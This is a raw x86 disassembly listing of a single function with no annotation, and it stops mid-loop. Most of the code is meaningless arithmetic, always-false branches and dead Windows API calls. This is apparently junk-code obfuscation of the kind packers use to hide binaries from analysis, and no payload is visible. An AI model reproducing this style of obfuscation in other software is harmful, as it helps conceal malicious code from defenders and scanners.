inc edi
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1e90]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x21e8]
mov eax, dword [ebp - 0xc]
xor eax, eax
inc eax
mov dword [ebp - 0x256c], eax
mov dword [ebp - 0x20], 0x35984225
mov dword [ebp - 0xc], 0x3846
mov dword [ebp - 0x28], 0x2b99
mov dword [ebp - 0x1c], 0xd021aa29
mov dword [ebp - 0x4c], eax
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x4374c5
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xad0], 0x4863
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x4374a7
xor edi, edi
xor eax, eax
inc edi
cmp dword [ebp - 0xc], eax
je 0x437535
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0xc]
cmp eax, ecx
mov eax, dword [ebp - 0xc]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
imul eax, ecx, 0xfff6
test eax, eax
je 0x4374ee
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
neg ecx
sbb ecx, ecx
or eax, 0xffffffff
neg ecx
xor edx, edx
sub eax, ecx
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 0x8f0ed693
setne al
sub eax, dword [ebp - 0xc]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xe428464d
jae 0x437535
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], 0xfffa
mov dword [ebp - 0x2c], 0xea13
mov dword [ebp - 0x3c], 0x541960cc
push 9
pop eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x20], 0xea1e67e2
inc dword [ebp - 0x44]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0xc]
jne 0x43758a
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x43758c
xor edi, edi
inc eax
inc edi
jmp 0x43758c
xor eax, eax
mov edx, dword [ebp - 0x2c]
xor ecx, ecx
imul edx, dword [ebp - 0xad0]
imul edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
sete cl
xor eax, eax
sub ecx, dword [ebp - 0x28]
je 0x4375b7
cmp dword [ebp - 0x1c], eax
je 0x4375b7
xor edi, edi
lea ecx, [eax + 1]
inc edi
jmp 0x4375b9
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, eax
push 6
pop eax
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
imul eax, edx
test eax, eax
jne 0x4375dd
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
neg eax
push 2
sbb eax, eax
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x44]
pop ebx
push ebx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setg cl
xor edx, edx
cmp ecx, 0xffffffff
setge dl
xor eax, eax
cmp edx, 0x1cf5
setne al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x2c]
inc eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 0x58], 0xfff6
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x20], 0xcb03629a
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edi
jge 0x437682
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xcac], 0
xor eax, eax
inc dword [ebp - 0xc]
inc eax
cmp dword [ebp - 0xc], eax
jl 0x437667
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x437698
push dword [ebp - 0xc]
call fcn.00415bdb
mov dword [eax], 0x3d06ce12
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x6b0]
cmp dword [ebp - 0xc], ebx
jl 0x437687
xor eax, eax
inc eax
push eax
call fcn.00415bdb
and dword [eax], 0
jmp 0x4376d8
xor eax, eax
inc eax
push eax
call fcn.00415bdb
lea ecx, [ebp - 0x6b0]
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0xcac], 0xffffffff
xor eax, eax
inc eax
push eax
call fcn.00415bdb
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x6b0]
inc eax
push eax
call fcn.00415bdb
xor edi, edi
lea ecx, [ebp - 0x6b0]
inc edi
cmp dword [eax], edi
jl 0x4376b1
xor eax, eax
inc eax
push eax
call fcn.00415bdb
push 0xfffffffffffffff9
pop ecx
mov dword [eax], ecx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x6b0]
call fcn.00415bbf
push 8
pop edi
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x38], 0xfffffff7
jne 0x4384fb
mov dword [ebp - 0x20], 0xb13e
push 9
pop eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], edi
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xa
jl 0x4378d2
mov dword [ebp - 0x10], 0xfff8
mov dword [ebp - 0x1c], 0x3589fe57
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x2c], eax
jmp 0x437770
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2758], 0xfff7
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x43775f
mov ecx, dword [ebp - 0x10]
xor edx, edx
add ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x14]
cmp eax, edx
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl bl
xor ecx, ecx
cmp eax, ebx
setge cl
add ecx, dword [ebp - 0x14]
je 0x4377c5
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
jmp 0x4378af
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], 0x2ad21dd8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jg 0x4378b1
mov dword [ebp - 0x50], 0xa1dd7933
mov dword [ebp - 0x28], 0xb56bf5e
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xffffffff
je 0x437844
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x437846
mov ecx, eax
xor edx, edx
xor eax, eax
inc edx
cmp ecx, edx
setge al
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x18]
cmp ecx, esi
jg 0x437852
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x437852
mov edx, eax
jmp 0x437857
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x43780b
xor eax, eax
lea ecx, [eax + 1]
jmp 0x43780d
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0xfffffff3
cmp dword [ebp - 0x28], 0xffffffe3
jl 0x4378a3
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x43789a
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x43788a
xor eax, eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe3
jge 0x437882
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x4377e6
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x4378c2
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
push 0
pop eax
jge 0x437745
xor ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0xe758
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x4c], 0x7f17e9bb
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x437913
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x60c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x4378ff
xor eax, eax
mov esi, ecx
cmp dword [ebp - 0xc], eax
jne 0x43791e
mov esi, eax
jmp 0x437921
xor eax, eax
inc eax
mov edx, dword [ebp - 0xc]
mov ecx, 0xc4185a1f
sub ecx, eax
mov dword [ebp - 0x604], edx
sub ecx, dword [ebp - 0xc]
xor eax, eax
add ecx, dword [ebp - 0xc]
cmp edx, ecx
sete al
xor ecx, ecx
cmp eax, 0xd6f1
setne cl
xor eax, eax
add ecx, esi
je 0x437991
mov dword [ebp - 0x2c], 0x78c9dffb
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x608]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x604]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x600]
mov eax, dword [ebp - 0x604]
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0x20], eax
jmp 0x437ada
mov dword [ebp - 0x28], 0x4356e3f0
mov dword [ebp - 0x40], 0xac8918cb
mov dword [ebp - 0x50], eax
xor eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x600]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x604]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x604]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x437a37
mov dword [ebp - 0x2c], 0xe831
mov eax, dword [ebp - 0x600]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x40]
sub ecx, eax
mov eax, dword [ebp - 0xc]
neg ecx
sbb ecx, ecx
inc eax
inc ecx
add eax, ecx
xor ecx, ecx
cmp eax, 0x72f548f9
mov eax, dword [ebp - 0x40]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x44]
setg bl
xor ecx, ecx
cmp ebx, eax
setne cl
mov dword [ebp - 0x608], ecx
jmp 0x437ada
mov dword [ebp - 0x18], 5
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x437a84
push 0x1d8a
push 0x25c6
push 0x184e
push 0xdb4
push 0x131e
push 0x24c1
push 0x1b19
push 0x1a8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff2
jge 0x437adc
mov dword [ebp - 0x20], 0xd5aec2c0
mov dword [ebp - 0x2c], 0x5eeffbb8
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x437aaf
push 0x121e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x437ac2
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff2
push 0
pop eax
jl 0x437a8d
xor eax, eax
mov dword [ebp - 0x10], 0x11
cmp dword [ebp - 0x10], 0xffffffee
jl 0x437b84
jmp 0x437af1
xor eax, eax
mov dword [ebp - 0x28], 0xe53f
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], 0x8d5a9c18
mov dword [ebp - 0x20], 0xd8b1b829
cmp dword [ebp - 0x28], eax
jne 0x437b71
mov eax, dword [ebp - 0x44]
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setle dl
neg edx
mov dword [ebp - 0x3c], edx
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x604]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setle dl
cmp edx, 5
ja 0x437b55
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x437b55
mov ecx, eax
jmp 0x437b5a
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x18]
add eax, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x4c], eax
jge 0x437b6f
xor eax, eax
inc eax
jmp 0x437b71
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffee
jge 0x437aef
push 3
lea ecx, [ebp - 0x394]
call fcn.00415aed
mov dword [ebp - 0x18], 0xffffffff
xor eax, eax
mov dword [ebp - 0x3c], 0x4dde9ab5
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x437bd0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x394]
call fcn.00415bdb
mov dword [eax], 0x5e00fe1c
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x437bb1
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x437bdf
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 2
pop eax
push eax
lea ecx, [ebp - 0x394]
call fcn.00415bdb
xor eax, eax
lea ecx, [ebp - 0x394]
inc eax
push eax
call fcn.00415bdb
mov esi, eax
lea ecx, [ebp - 0x394]
xor eax, eax
inc eax
push eax
call fcn.00415bdb
lea ecx, [ebp - 0x394]
mov edi, dword [eax]
xor eax, eax
add edi, dword [esi]
inc eax
push eax
call fcn.00415bdb
xor ebx, ebx
lea ecx, [ebp - 0x394]
cmp edi, dword [eax]
setle bl
xor eax, eax
inc eax
push eax
call fcn.00415bdb
xor ecx, ecx
cmp ebx, dword [eax]
setle cl
xor eax, eax
inc eax
mov dword [ebp - 0x20], ecx
push eax
lea ecx, [ebp - 0x394]
call fcn.00415bdb
xor ecx, ecx
cmp dword [eax], 4
sete cl
xor ebx, ebx
sub ecx, dword [ebp - 0x20]
cmp ecx, 0x42b9193c
lea ecx, [ebp - 0x394]
setne bl
xor eax, eax
inc eax
push eax
call fcn.00415bdb
xor ecx, ecx
cmp ebx, dword [eax]
sete cl
xor eax, eax
mov dword [ebp - 0x18], ecx
inc eax
push eax
lea ecx, [ebp - 0x394]
call fcn.00415bdb
mov edx, dword [ebp - 0x3c]
mov esi, eax
mov ecx, dword [ebp - 0x18]
xor eax, eax
cmp ecx, edx
setge al
xor edi, edi
xor ecx, ecx
inc edi
cmp eax, edi
setg cl
cmp dword [esi], ecx
jge 0x437cc4
xor ebx, ebx
lea ecx, [ebp - 0x394]
push ebx
call fcn.00415bdb
cmp dword [eax], ebx
je 0x437cc4
xor eax, eax
lea esi, [eax + 1]
jmp 0x437cc8
xor eax, eax
mov esi, eax
push 2
pop ebx
push ebx
lea ecx, [ebp - 0x394]
call fcn.00415bdb
lea ecx, [ebp - 0x394]
sub esi, dword [eax]
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
call fcn.00415bbf
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x437d11
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x226c], 0x59ec1348
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x437cf8
xor eax, eax
mov dword [ebp - 0x30], 0x3185
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x30], 0x47dc4b4e
push 4
pop esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0x8faaaeb9
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x437d5f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1928], 0xffffffff
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x437d41
xor edi, edi
xor eax, eax
inc edi
inc dword [ebp - 0x18]
mov dword [ebp - 0x10], 0xa
cmp dword [ebp - 0x10], 0x14
jl 0x4384eb
jmp 0x437d7a
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x20], 0x84bb
mov dword [ebp - 0x2c], eax
jmp 0x437db4
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc0], 0
inc dword [ebp - 0x2c]
xor eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x437da3
mov eax, dword [ebp - 0xc0]
xor ecx, ecx
cmp eax, 0x52f67d50
setl cl
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
neg ecx
sbb ecx, ecx
xor ebx, ebx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x44]
setl bl
sub ebx, eax
mov eax, dword [ebp - 0xc0]
neg ebx
sbb ebx, ebx
xor edx, edx
neg ebx
cmp ebx, esi
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc0]
cmp eax, 0x6dad816f
setg cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setne dl
sub edx, 0xc0c7
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x28]
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0xc0]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
lea eax, [ecx - 0x159d9514]
mov ecx, dword [ebp - 0x2c]
add ecx, eax
sub ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x9b22
je 0x437eb3
cmp dword [ebp - 0x20], eax
jne 0x437eb8
cmp dword [ebp - 0x50], eax
je 0x437ebb
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x568]
xor eax, eax
mov dword [ebp - 0x50], eax
inc eax
mov dword [ebp - 0x14], eax
push esi
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff9
inc eax
mov dword [ebp - 0x20], 0xdcfec76e
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x437f05
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x568]
call fcn.00415bdb
mov dword [eax], 0x7b1b0cad
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x437eee
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
je 0x437f3e
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
cmp edx, 0xfffffffb
ja 0x437f37
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x437f40
xor eax, eax
lea esi, [eax + 1]
jmp 0x437f42
xor eax, eax
mov esi, eax
push 3
pop edi
push edi
lea ecx, [ebp - 0x568]
call fcn.00415bdb
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp esi, ecx
setge dl
xor ecx, ecx
imul edx, dword [ebp - 0x14]
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c65b0b5
setle cl
xor eax, eax
sub ecx, dword [ebp - 0x14]
je 0x437f7b
cmp dword [ebp - 0x14], eax
je 0x437f7b
inc eax
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x4380d8
xor eax, eax
lea ecx, [ebp - 0xf50]
inc eax
push eax
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x3c], 0xd81c9193
xor edi, edi
mov dword [ebp - 0x2c], eax
inc edi
cmp dword [ebp - 0x2c], edi
jge 0x437fce
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xf50]
call fcn.00415bdb
push 2
pop ecx
mov dword [eax], ecx
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x437fae
xor eax, eax
push 3
pop edi
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], eax
jl 0x4380ca
mov dword [ebp - 0xc], 0x32883e73
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edi
jg 0x4380bc
mov dword [ebp - 0x18], 0x6dad3f04
lea ecx, [ebp - 0x568]
push dword [ebp - 0xc]
call fcn.00415bdb
push dword [ebp - 0xc]
lea ecx, [ebp - 0x568]
mov esi, eax
call fcn.00415bdb
xor ebx, ebx
push ebx
mov ecx, dword [eax]
mov dword [esi], ecx
lea ecx, [ebp - 0xf50]
call fcn.00415bdb
mov ecx, dword [esi]
mov dword [eax], ecx
test ecx, ecx
je 0x43807f
push dword [ebp - 0xc]
lea ecx, [ebp - 0x568]
call fcn.00415bdb
push ebx
lea ecx, [ebp - 0xf50]
mov esi, eax
call fcn.00415bdb
mov ecx, dword [eax]
cmp ecx, dword [esi]
jg 0x438054
mov eax, dword [ebp - 0xc]
push edi
lea ecx, [ebp - 0x568]
call fcn.00415bdb
push dword [ebp - 0xc]
lea ecx, [ebp - 0x568]
call fcn.00415bdb
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x568]
push dword [ebp - 0xc]
call fcn.00415bdb
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
imul eax, dword [ebp - 0x18], 0xfffe
cmp eax, dword [ebp - 0x3c]
jle 0x438098
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x43809b
xor eax, eax
inc eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x4380ae
call dword [sym.imp.KERNEL32.dll_GetVersion]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jle 0x437ff0
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x4380ca
dec dword [ebp - 0x24]
jns 0x437fdd
lea ecx, [ebp - 0xf50]
call fcn.00415bbf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xf
jge 0x437f8b
lea ecx, [ebp - 0x568]
call fcn.00415bbf
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x438120
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x10], 0xffff9364
neg eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x10]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
lea edx, [eax + 1]
add ecx, dword [ebp - 0x50]
jne 0x438122
mov edx, eax
mov eax, dword [ebp - 0x38]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x10]
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 4]
jle 0x43813d
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x438140
xor eax, eax
inc eax
inc eax
xor ecx, ecx
cmp ecx, eax
lea ecx, [ebp - 0x750]
push 4
sbb eax, eax
neg eax
mov dword [ebp - 0x226c], eax
pop esi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0xfffffff6
push esi
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x43818d
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x750]
call fcn.00415bdb
or dword [eax], 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x438172
xor eax, eax
push 7
mov dword [ebp - 0x28], eax
pop ebx
jmp 0x43832b
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jg 0x438284
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x750]
push dword [ebp - 0x14]
call fcn.00415bdb
xor ebx, ebx
cmp dword [eax], ebx
je 0x438233
push dword [ebp - 0x14]
lea ecx, [ebp - 0x750]
call fcn.00415bdb
cmp dword [eax], ebx
jne 0x438226
push dword [ebp - 0x14]
lea ecx, [ebp - 0x750]
call fcn.00415bdb
mov esi, dword [ebp - 0x14]
lea ecx, [ebp - 0x750]
neg esi
push ebx
sbb esi, esi
neg esi
call fcn.00415bdb
dec esi
mov ecx, dword [eax]
mov eax, dword [ebp - 0x14]
add ecx, esi
push dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
lea esi, [ecx + 0xc47d]
lea ecx, [ebp - 0x750]
call fcn.00415bdb
mov dword [eax], esi
cmp esi, dword [ebp - 0x28]
jl 0x438226
mov eax, ebx
jmp 0x438229
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x28]
jne 0x438233
xor eax, eax
inc eax
jmp 0x438235
mov eax, ebx
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x438257
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x438261
push eax
push 0x1456
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
xor eax, eax
jmp 0x438261
mov dword [ebp - 0x18], 0x7e434392
dec dword [ebp - 0x18]
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], bl
je 0x438270
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
inc dword [ebp - 0x14]
push 7
pop ebx
cmp dword [ebp - 0x14], edi
jle 0x4381ab
push 4
xor eax, eax
pop esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x14
je 0x438328
push edi
lea ecx, [ebp - 0x858]
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x4382b5
push dword [ebp - 0x2c]
call fcn.00415bdb
